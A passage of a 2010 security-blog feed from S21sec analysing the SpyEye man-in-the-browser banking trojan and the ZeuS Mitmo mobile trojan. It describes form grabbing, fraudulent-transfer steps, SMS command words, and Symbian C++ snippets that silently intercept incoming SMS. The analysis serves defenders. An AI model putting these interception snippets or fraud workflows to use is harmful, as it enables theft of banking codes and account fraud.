href="http://www.blogger.com/feeds/4200832237456548715/posts/default/4573800921810180671?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/bF4B_ExPKIU/s21sec-in-payments-council-e-crime.html" title="S21sec in Payments Council e-Crime Seminar 2010" /><author><name>Ion</name><uri>http://www.blogger.com/profile/17837217200166713133</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2010/11/s21sec-in-payments-council-e-crime.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkMNQXczcCp7ImA9Wx5bF0w.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-5292440995976768241</id><published>2010-10-23T04:37:00.000-07:00</published><updated>2010-11-02T08:08:10.988-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-11-02T08:08:10.988-07:00</app:edited><title>SpyEye latest features include Man-in-the-Browser</title><content type="html">Less than a month ago, S21sec e-crime detected a new threat that defeats the second authentication vector based on &lt;a class="moz-txt-link-freetext" href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;SMS&lt;/a&gt;. Today, we're back to announce a new technique which, although is already known, is affecting some organizations during the last weeks:  Man in the Browser.&lt;br /&gt;&lt;br /&gt;Briefly, this new technique (MitB), is implemented by a trojan that infects and controls a web browser, having the ability to modify pages, transaction information, etc. using the same online banking session as the legitimate user and stealthy performing all its actions to both the user and the bank online application.&lt;br /&gt;&lt;br /&gt;In this incident, the trojan is not the well-known ZeuS/Zbot, but his "competitor" known as SpyEye. By the end of 2009, a new banking Trojan called SpyEye made its appearance on the underground world. It is written in C++ and the supported systems range from Windows 2000 to Windows 7. It works in ring3 (user-mode), as its competitor ZeuS does, although this is not the only similarity between both Trojans.&lt;br /&gt;&lt;br /&gt;SpyEye is sold in several forums as  it is said to be undetectable by most anti-virus software; it also hides several files as well as registry keys. SpyEye implements many of the ZeuS’ features, though it is still in development. The distribution package of this Trojan is similar to Zbot/ZeuS and other fraud kits usually distributed in forums of Eastern Europe and Russia.&lt;br /&gt;&lt;br /&gt;The main features of previous SpyEye's versions are the following:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Form Grabbing:&lt;/b&gt;  It captures the data filled by the user in the fields of the forms submitted by the browser.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Code injection: &lt;/b&gt; This technique involves the injection of HTML code in the victim's browser to get additional information the organization wouldn't ask for. In the configuration files analyzed, the requested information is usually the full security code.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Stealing FTP and POP3 credentials: &lt;/b&gt; Includes network traffic monitoring, hooking into the API functions of filtering and credentials storage, mainly to monitor the traffic and looking for "USER" and "PASS" values.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Basic http authentication Theft:&lt;/b&gt;  A similar approach to the FTP and POP3 credentials theft.&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;br /&gt;&lt;/ul&gt;In the version discussed in this incident, it also includes the following features:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;&lt;b&gt;Screenshots: &lt;/b&gt; in the configuration file you can set up the URLs that will trigger a screenshot capture, configuring a specific screen zone with its dimensions. An example is:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;https://onlineaccess.mybank.com/authenticate* 500 200 10 60&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Ability to do Man in The Browser (MitB).&lt;/b&gt;&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;We have noticed an increase in the number of SpyEye samples in the wild since the past September, which led us to think that this trojan campaign started on this month:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://3.bp.blogspot.com/_ohh5y8Z97Ts/TMB9O0WlRZI/AAAAAAAAAq0/RfRTMUbin8s/s1600/moz-screenshot-4.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 194px;" src="http://3.bp.blogspot.com/_ohh5y8Z97Ts/TMB9O0WlRZI/AAAAAAAAAq0/RfRTMUbin8s/s320/moz-screenshot-4.png" alt="" id="BLOGGER_PHOTO_ID_5530558035935970706" border="0" /&gt;&lt;/a&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_ohh5y8Z97Ts/TMB9O0WlRZI/AAAAAAAAAq0/RfRTMUbin8s/s1600/moz-screenshot-4.png"&gt;&lt;br /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The first fraud incidents were detected around the middle of October, with at least two different trojan samples. It is important to say that we have only seen this technique affecting to one of the affected organizations. Although this attack is completely functional, our feelings are that it's still in its testing phase.&lt;br /&gt;&lt;br /&gt;We are still working on the analysis of the binary, but the behaviour observed is the same one we detected in the binary discovered last February. Nevertheless, some improvements have been noticed in relation to his config file encryption algorithm. The samples detection is 62% and 20% respectively.&lt;br /&gt;&lt;br /&gt;The main and most worrying feature is the HTML injection. In this incident, the injection is entirely done with javascript code, allowing the binary to do the MITB feature:&lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;The trojan gets the data from the accounts and sends them to the C&amp;amp;C server&lt;br /&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;If the account balance exceeds a certain amount of money, it returns the data account in which must perform the fraudulent transfer (mule), using the following format:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;[&lt;br /&gt;"trans" = 1,&lt;br /&gt;"info"  = [&lt;br /&gt; "check" = [&lt;br /&gt;            0 = XXXX,&lt;br /&gt;            1 = XXXX,&lt;br /&gt;            2 = XX,&lt;br /&gt;            3 = XXXXXXXXXX&lt;br /&gt;           ],&lt;br /&gt; "sum"     = 493,&lt;br /&gt; "name"    = "Peter",&lt;br /&gt; "address" = "12 street, nº1 1ºA",&lt;br /&gt; "city"    = "NY",&lt;br /&gt; "comment" = "Transfer"&lt;br /&gt;]&lt;br /&gt;]&lt;/pre&gt;&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;The trojan fills in the form with these details and stays in waiting mode.&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Several details are requested from the user, for instance the signature key.&lt;/li&gt;&lt;br /&gt;&lt;li&gt; With the data fetched, it sends the transfer form to the bank.&lt;/li&gt;&lt;br /&gt;&lt;li&gt; It modifies the account balance in order to hide the fraud.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;As you can see, by intercepting the legitimate user's session, the fraud is commited in a much more difficult way to be detected by the organization&lt;br /&gt;&lt;br /&gt;In the tests analyzed, it seems that three differents accounts are used to perform the fraudulent transfer. In this incident, all of them belong to spanish organizations.&lt;br /&gt;&lt;br /&gt;S21sec e-crime will keep you updated as soon as we have additional information of this new technique.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Santiago Vicente&lt;br /&gt;S21sec e-crime&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-5292440995976768241?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/wwQVDG4z3sQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/5292440995976768241/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=5292440995976768241" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5292440995976768241?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5292440995976768241?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/wwQVDG4z3sQ/spyeye-latest-features-include-man-in.html" title="SpyEye latest features include Man-in-the-Browser" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_ohh5y8Z97Ts/TMB9O0WlRZI/AAAAAAAAAq0/RfRTMUbin8s/s72-c/moz-screenshot-4.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2010/10/spyeye-latest-features-include-man-in.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DUMFRX0zeip7ImA9Wx5WFks.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-3690412756733789844</id><published>2010-09-25T15:07:00.000-07:00</published><updated>2010-09-28T02:50:14.382-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-28T02:50:14.382-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><title>ZeuS Mitmo: Man-in-the-mobile (III)</title><content type="html">The application that the user installs in his mobile device is a simple application that will monitor all the incoming SMS and will install a backdoor to receive commands via SMS. We have analyzed the Symbian S60 application, which has the name 'Nokia update'&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;div&gt;&lt;a href="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ5zQdn_CTI/AAAAAAAAAqM/xuSmIlK2nPw/s1600/certificado.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5520976919870245170" src="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ5zQdn_CTI/AAAAAAAAAqM/xuSmIlK2nPw/s320/certificado.png" style="cursor: hand; cursor: pointer; display: block; height: 262px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;The application has an UK phone number hardcoded that will use as an usual C&amp;amp;C (to send the stolen SMS and to receive the commands), and after installation, it will perform the following steps:&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Send a 'hello' SMS with the message 'App installed ok' to the C&amp;amp;C&lt;/li&gt;
&lt;li&gt;Monitor all the incoming SMSs&lt;/li&gt;
&lt;/ul&gt;&lt;a href="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ51VroyfwI/AAAAAAAAAqU/mwitoJY-qh8/s1600/ida.png" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5520979208554315522" src="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ51VroyfwI/AAAAAAAAAqU/mwitoJY-qh8/s320/ida.png" style="cursor: hand; cursor: pointer; display: block; height: 250px; margin: 0px auto 10px; text-align: center; width: 320px;" /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;If the incoming SMS' phone number is equal to the C&amp;amp;C number, there are some commands that will be accepted:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;BLOCK ON: ignore all the commands&lt;/li&gt;
&lt;li&gt;BLOCK OFF: enable the remote commands&lt;/li&gt;
&lt;li&gt;SET ADMIN: change the C&amp;amp;C phone number (this is the only command that can be sent from a non-C&amp;amp;C)&lt;/li&gt;
&lt;li&gt;SENDER ADD: add a contact&lt;/li&gt;
&lt;li&gt;SENDER REM: delete a contact&lt;/li&gt;
&lt;li&gt;SET SENDER: update contact &lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;The technique that the malicious application uses for monitoring the incoming SMS without notifying the user is not something advanced (it is using the Symbian API), but allows the trojan to use the SMS stack for its own profit without showing any SMS in the mobile screen:&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;// open a SMS socket
m_socket.Open(m_socketServer, KSMSAddrFamily, KSockDatagram, KSMSDatagramProtocol)

// receive any incoming SMS (the match is empty)
TSmsAddr smsAddr;
smsAddr.SetSmsAddrFamily(ESmsAddrMatchText);
smsAddr.SetTextMatch(_L8(""));
m_socket.Bind(smsAddr);
&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;Then we have 'hooked' the SMS stack so we are able to receive any incoming SMS and pass it through our handler (the RunL()):&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;pre&gt;// Stream that reads a CSmsMessage object across a socket.
RSmsSocketReadStream readStream(socket1);
// Allocates and creates a CSmsMessage
// ESmsDeliver-SMS-DELIVER, sent from service center to Station.
CSmsMessage message = CSmsMessage::NewL
TheFs1,CSmsPDU::ESmsDeliver,buffer);
CleanupStack::PushL(message);

//Internalises data from stream to CSmsMessage
message-&amp;gt;InternalizeL(readStream);
readStream.Close();
//Extracting the received message to a buffer
TBuf&amp;lt;255&amp;gt; msgContents;
message-&amp;gt;Buffer().Extract(msgContents, 0 , message-&amp;gt;Buffer().Length());
CleanupStack::PopAndDestroy(2)
// Announce that we have read the SMS. Important!!
iReadSocket.Ioctl(KIoctlReadMessageSucceeded, iStatus, &amp;amp;sbuf, KSolSmsProv);
SetActive();&lt;/pre&gt;&lt;/div&gt;&lt;div&gt;It is clear that this malware uses social engineering in different levels:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;The infection method: sends a SMS with a link to a 'new security certificate'&lt;/li&gt;
&lt;li&gt;The mobile application: the name is 'Nokia update', that won't be suspicious for the majority of users&lt;/li&gt;
&lt;li&gt;The contacts/agenda manipulation: we can add, or change new contacts in the mobile device, making any calls or SMS more trustworthy&lt;/li&gt;
&lt;/ul&gt;&lt;div&gt;We are working with mobile carriers to help them to detect infected devices. Mobile carriers are the key actors in this incident, just because they are the only ones that can detect which devices are infected and block all the connections to/from the mobile C&amp;amp;C. &lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;This attack also has a lot of similarities with an Internet incident, although there are some caveats:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;We can detect the infected devices, but notifying those users and clean their devices is a hard and difficult task&lt;/li&gt;
&lt;li&gt;We can block the access to/from the C&amp;amp;C, but another mobile C&amp;amp;C will come up (at least we won't see fast-flux!)&lt;/li&gt;
&lt;li&gt;Credential recovery is much difficult if not impossible&lt;/li&gt;
&lt;li&gt;The user can suspect that his device is infected by looking at his mobile expenses and detect strange SMS charges&lt;/li&gt;
&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;Although we cannot state that it is a really advanced malicious application, it really works, and the thin line between PC and mobile malware is thinner than ever. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;At the moment of this blog post, &lt;a href="http://www.virustotal.com/file-scan/report.html?id=b1663d2fe60b2a31404eb66dd233c118d7cea82948f240f3ed204cf4a9b2bbb9-1285513373"&gt;the AV detection rate is 0%&lt;/a&gt;. &lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update (27/09/2010):&lt;/b&gt; our Fortinet colleagues &lt;a href="http://blog.fortinet.com/zeus-in-the-mobile-zitmo-online-bankings-two-factor-authentication-defeated/"&gt;have posted more information&lt;/a&gt; about the Symbian malware.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update (28/09/2010):&lt;/b&gt; Vodafone has just confirmed us that the Symbian developer certificate has been revoked.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;pre&gt;Serial Number: BF43000100230353FF79159EF3B3
       Revocation Date: Sep 28 08:26:26 2010 GMT

   Serial Number: 61F1000100235BC2794380405E52
       Revocation Date: Sep 28 08:26:26 2010 GMT
&lt;/pre&gt;&lt;pre&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;ZeuS Mitmo: Man-in-the-mobile (I)&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-ii.html"&gt;ZeuS Mitmo: Man-in-the-mobile (II)&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-iii.html"&gt;ZeuS Mitmo: Man-in-the-mobile (III)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div&gt;&lt;i&gt;David Barroso&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-3690412756733789844?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/EkvtME02w3I" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/3690412756733789844/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=3690412756733789844" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3690412756733789844?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/3690412756733789844?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/EkvtME02w3I/zeus-mitmo-man-in-mobile-iii.html" title="ZeuS Mitmo: Man-in-the-mobile (III)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ5zQdn_CTI/AAAAAAAAAqM/xuSmIlK2nPw/s72-c/certificado.png" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-iii.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DEYFQ3s-fyp7ImA9Wx5WFEQ.&quot;"><id>tag:blogger.com,1999:blog-4200832237456548715.post-5550041600368647495</id><published>2010-09-25T14:49:00.000-07:00</published><updated>2010-09-26T03:15:12.557-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-09-26T03:15:12.557-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Trojans" /><category scheme="http://www.blogger.com/atom/ns#" term="Fraud" /><title>ZeuS Mitmo: Man-in-the-mobile (II)</title><content type="html">After explaining the scenario, we can share more details. Stealing the username or the password is relatively easy, and malware like ZeuS have been doing that for ages (injecting HTML or adding field using JavaScript work like a charm). But now, the trojan will also ask for new details: our mobile vendor, model, and phone number (the website will force you to fill in this information due to its new security measures).&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_ohh5y8Z97Ts/TJ5wpAhtBaI/AAAAAAAAAp8/oXm64QZdmx4/s1600/mobilevendor.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 114px;" src="http://2.bp.blogspot.com/_ohh5y8Z97Ts/TJ5wpAhtBaI/AAAAAAAAAp8/oXm64QZdmx4/s320/mobilevendor.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5520974043021116834" /&gt;&lt;/a&gt;&lt;div&gt;Once the information has been filled in, an SMS will be sent to the mobile device with a link to download the new security certificate (which it's a malicious application).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ5yDjTGqbI/AAAAAAAAAqE/YuYu_DUEdzE/s1600/smsmobile.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://1.bp.blogspot.com/_ohh5y8Z97Ts/TJ5yDjTGqbI/AAAAAAAAAqE/YuYu_DUEdzE/s320/smsmobile.png" border="0" alt="" id="BLOGGER_PHOTO_ID_5520975598543350194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;It is important to emphasize that depending on your mobile vendor, the link will be pointing to a Symbian application (.sis) or a BlackBerry one (.jad). Why those vendors and for instance iPhone is not there? Any user can install any application in those vendors just by clicking 'ok' when asking for it in the device. iPhone only can install applications through the AppStore (unless they are jailbroken, but that's another story)&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-i.html"&gt;ZeuS Mitmo: Man-in-the-mobile (I)&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-ii.html"&gt;ZeuS Mitmo: Man-in-the-mobile (II)&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-iii.html"&gt;ZeuS Mitmo: Man-in-the-mobile (III)&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;David Barroso&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;S21sec e-crime&lt;/i&gt;&lt;/div&gt;&lt;div&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4200832237456548715-5550041600368647495?l=securityblog.s21sec.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/S21secSecurityBlog/~4/AxNhUhNHZ7Q" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://securityblog.s21sec.com/feeds/5550041600368647495/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=4200832237456548715&amp;postID=5550041600368647495" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5550041600368647495?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4200832237456548715/posts/default/5550041600368647495?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/S21secSecurityBlog/~3/AxNhUhNHZ7Q/zeus-mitmo-man-in-mobile-ii.html" title="ZeuS Mitmo: Man-in-the-mobile (II)" /><author><name>S21sec e-crime</name><uri>http://www.blogger.com/profile/13161855171218670746</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/_ohh5y8Z97Ts/TJ5wpAhtBaI/AAAAAAAAAp8/oXm64QZdmx4/s72-c/mobilevendor.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://securityblog.s21sec.com/2010/09/zeus-mitmo-man-in-mobile-ii.html</feedburner:origLink></entry></feed>

